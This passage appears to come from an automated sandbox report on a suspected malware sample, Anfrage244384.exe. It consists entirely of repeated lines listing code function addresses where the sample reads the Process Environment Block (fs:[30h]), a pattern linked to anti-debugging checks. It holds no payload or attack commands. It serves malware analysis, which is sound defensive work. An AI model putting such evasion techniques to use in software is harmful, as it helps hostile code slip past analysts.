      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAD6E0 mov eax, dword ptr fs:[00000030h]3_2_34DAD6E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D776B2 mov eax, dword ptr fs:[00000030h]3_2_34D776B2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D776B2 mov eax, dword ptr fs:[00000030h]3_2_34D776B2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D776B2 mov eax, dword ptr fs:[00000030h]3_2_34D776B2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0368C mov eax, dword ptr fs:[00000030h]3_2_34E0368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0368C mov eax, dword ptr fs:[00000030h]3_2_34E0368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0368C mov eax, dword ptr fs:[00000030h]3_2_34E0368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0368C mov eax, dword ptr fs:[00000030h]3_2_34E0368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7D6AA mov eax, dword ptr fs:[00000030h]3_2_34D7D6AA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7D6AA mov eax, dword ptr fs:[00000030h]3_2_34D7D6AA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E1D660 mov eax, dword ptr fs:[00000030h]3_2_34E1D660
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB9660 mov eax, dword ptr fs:[00000030h]3_2_34DB9660
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB9660 mov eax, dword ptr fs:[00000030h]3_2_34DB9660
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83616 mov eax, dword ptr fs:[00000030h]3_2_34D83616
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83616 mov eax, dword ptr fs:[00000030h]3_2_34D83616
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E55636 mov eax, dword ptr fs:[00000030h]3_2_34E55636
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBF603 mov eax, dword ptr fs:[00000030h]3_2_34DBF603
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB1607 mov eax, dword ptr fs:[00000030h]3_2_34DB1607
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F626 mov eax, dword ptr fs:[00000030h]3_2_34D7F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D857C0 mov eax, dword ptr fs:[00000030h]3_2_34D857C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D857C0 mov eax, dword ptr fs:[00000030h]3_2_34D857C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D857C0 mov eax, dword ptr fs:[00000030h]3_2_34D857C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8D7E0 mov ecx, dword ptr fs:[00000030h]3_2_34D8D7E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E097A9 mov eax, dword ptr fs:[00000030h]3_2_34E097A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0F7AF mov eax, dword ptr fs:[00000030h]3_2_34E0F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0F7AF mov eax, dword ptr fs:[00000030h]3_2_34E0F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0F7AF mov eax, dword ptr fs:[00000030h]3_2_34E0F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0F7AF mov eax, dword ptr fs:[00000030h]3_2_34E0F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0F7AF mov eax, dword ptr fs:[00000030h]3_2_34E0F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E537B6 mov eax, dword ptr fs:[00000030h]3_2_34E537B6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F78A mov eax, dword ptr fs:[00000030h]3_2_34E3F78A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAD7B0 mov eax, dword ptr fs:[00000030h]3_2_34DAD7B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F7BA mov eax, dword ptr fs:[00000030h]3_2_34D7F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93740 mov eax, dword ptr fs:[00000030h]3_2_34D93740
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93740 mov eax, dword ptr fs:[00000030h]3_2_34D93740
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93740 mov eax, dword ptr fs:[00000030h]3_2_34D93740
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E53749 mov eax, dword ptr fs:[00000030h]3_2_34E53749
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B765 mov eax, dword ptr fs:[00000030h]3_2_34D7B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B765 mov eax, dword ptr fs:[00000030h]3_2_34D7B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B765 mov eax, dword ptr fs:[00000030h]3_2_34D7B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B765 mov eax, dword ptr fs:[00000030h]3_2_34D7B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2375F mov eax, dword ptr fs:[00000030h]3_2_34E2375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2375F mov eax, dword ptr fs:[00000030h]3_2_34E2375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2375F mov eax, dword ptr fs:[00000030h]3_2_34E2375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2375F mov eax, dword ptr fs:[00000030h]3_2_34E2375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2375F mov eax, dword ptr fs:[00000030h]3_2_34E2375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBF71F mov eax, dword ptr fs:[00000030h]3_2_34DBF71F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBF71F mov eax, dword ptr fs:[00000030h]3_2_34DBF71F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F72E mov eax, dword ptr fs:[00000030h]3_2_34E3F72E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4972B mov eax, dword ptr fs:[00000030h]3_2_34E4972B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5B73C mov eax, dword ptr fs:[00000030h]3_2_34E5B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5B73C mov eax, dword ptr fs:[00000030h]3_2_34E5B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5B73C mov eax, dword ptr fs:[00000030h]3_2_34E5B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5B73C mov eax, dword ptr fs:[00000030h]3_2_34E5B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D85702 mov eax, dword ptr fs:[00000030h]3_2_34D85702
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D85702 mov eax, dword ptr fs:[00000030h]3_2_34D85702
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D87703 mov eax, dword ptr fs:[00000030h]3_2_34D87703
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8973A mov eax, dword ptr fs:[00000030h]3_2_34D8973A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8973A mov eax, dword ptr fs:[00000030h]3_2_34D8973A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79730 mov eax, dword ptr fs:[00000030h]3_2_34D79730
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79730 mov eax, dword ptr fs:[00000030h]3_2_34D79730
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB5734 mov eax, dword ptr fs:[00000030h]3_2_34DB5734
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D83720 mov eax, dword ptr fs:[00000030h]3_2_34D83720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F720 mov eax, dword ptr fs:[00000030h]3_2_34D9F720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F720 mov eax, dword ptr fs:[00000030h]3_2_34D9F720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F720 mov eax, dword ptr fs:[00000030h]3_2_34D9F720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA90DB mov eax, dword ptr fs:[00000030h]3_2_34DA90DB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov ecx, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov ecx, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov ecx, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov ecx, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C0 mov eax, dword ptr fs:[00000030h]3_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD0C0 mov eax, dword ptr fs:[00000030h]3_2_34DFD0C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD0C0 mov eax, dword ptr fs:[00000030h]3_2_34DFD0C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E550D9 mov eax, dword ptr fs:[00000030h]3_2_34E550D9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA50E4 mov eax, dword ptr fs:[00000030h]3_2_34DA50E4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA50E4 mov ecx, dword ptr fs:[00000030h]3_2_34DA50E4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB909C mov eax, dword ptr fs:[00000030h]3_2_34DB909C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAD090 mov eax, dword ptr fs:[00000030h]3_2_34DAD090
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAD090 mov eax, dword ptr fs:[00000030h]3_2_34DAD090
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D85096 mov eax, dword ptr fs:[00000030h]3_2_34D85096
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7D08D mov eax, dword ptr fs:[00000030h]3_2_34D7D08D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0D080 mov eax, dword ptr fs:[00000030h]3_2_34E0D080
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0D080 mov eax, dword ptr fs:[00000030h]3_2_34E0D080
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E55060 mov eax, dword ptr fs:[00000030h]3_2_34E55060
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB052 mov eax, dword ptr fs:[00000030h]3_2_34DAB052
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0106E mov eax, dword ptr fs:[00000030h]3_2_34E0106E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov ecx, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91070 mov eax, dword ptr fs:[00000030h]3_2_34D91070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD070 mov ecx, dword ptr fs:[00000030h]3_2_34DFD070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2705E mov ebx, dword ptr fs:[00000030h]3_2_34E2705E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2705E mov eax, dword ptr fs:[00000030h]3_2_34E2705E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4903E mov eax, dword ptr fs:[00000030h]3_2_34E4903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4903E mov eax, dword ptr fs:[00000030h]3_2_34E4903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4903E mov eax, dword ptr fs:[00000030h]3_2_34E4903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4903E mov eax, dword ptr fs:[00000030h]3_2_34E4903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBD1D0 mov eax, dword ptr fs:[00000030h]3_2_34DBD1D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBD1D0 mov ecx, dword ptr fs:[00000030h]3_2_34DBD1D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E271F9 mov esi, dword ptr fs:[00000030h]3_2_34E271F9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E551CB mov eax, dword ptr fs:[00000030h]3_2_34E551CB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA51EF mov eax, dword ptr fs:[00000030h]3_2_34DA51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D851ED mov eax, dword ptr fs:[00000030h]3_2_34D851ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E311A4 mov eax, dword ptr fs:[00000030h]3_2_34E311A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E311A4 mov eax, dword ptr fs:[00000030h]3_2_34E311A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E311A4 mov eax, dword ptr fs:[00000030h]3_2_34E311A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E311A4 mov eax, dword ptr fs:[00000030h]3_2_34E311A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DD7190 mov eax, dword ptr fs:[00000030h]3_2_34DD7190
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9B1B0 mov eax, dword ptr fs:[00000030h]3_2_34D9B1B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D87152 mov eax, dword ptr fs:[00000030h]3_2_34D87152
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E19179 mov eax, dword ptr fs:[00000030h]3_2_34E19179
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79148 mov eax, dword ptr fs:[00000030h]3_2_34D79148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79148 mov eax, dword ptr fs:[00000030h]3_2_34D79148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79148 mov eax, dword ptr fs:[00000030h]3_2_34D79148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D79148 mov eax, dword ptr fs:[00000030h]3_2_34D79148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E13140 mov eax, dword ptr fs:[00000030h]3_2_34E13140
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E13140 mov eax, dword ptr fs:[00000030h]3_2_34E13140
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E13140 mov eax, dword ptr fs:[00000030h]3_2_34E13140
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F172 mov eax, dword ptr fs:[00000030h]3_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E55152 mov eax, dword ptr fs:[00000030h]3_2_34E55152
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B136 mov eax, dword ptr fs:[00000030h]3_2_34D7B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B136 mov eax, dword ptr fs:[00000030h]3_2_34D7B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B136 mov eax, dword ptr fs:[00000030h]3_2_34D7B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B136 mov eax, dword ptr fs:[00000030h]3_2_34D7B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D81131 mov eax, dword ptr fs:[00000030h]3_2_34D81131
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D81131 mov eax, dword ptr fs:[00000030h]3_2_34D81131
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B2D3 mov eax, dword ptr fs:[00000030h]3_2_34D7B2D3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B2D3 mov eax, dword ptr fs:[00000030h]3_2_34D7B2D3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B2D3 mov eax, dword ptr fs:[00000030h]3_2_34D7B2D3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E552E2 mov eax, dword ptr fs:[00000030h]3_2_34E552E2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF2D0 mov eax, dword ptr fs:[00000030h]3_2_34DAF2D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF2D0 mov eax, dword ptr fs:[00000030h]3_2_34DAF2D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED mov eax, dword ptr fs:[00000030h]3_2_34E312ED
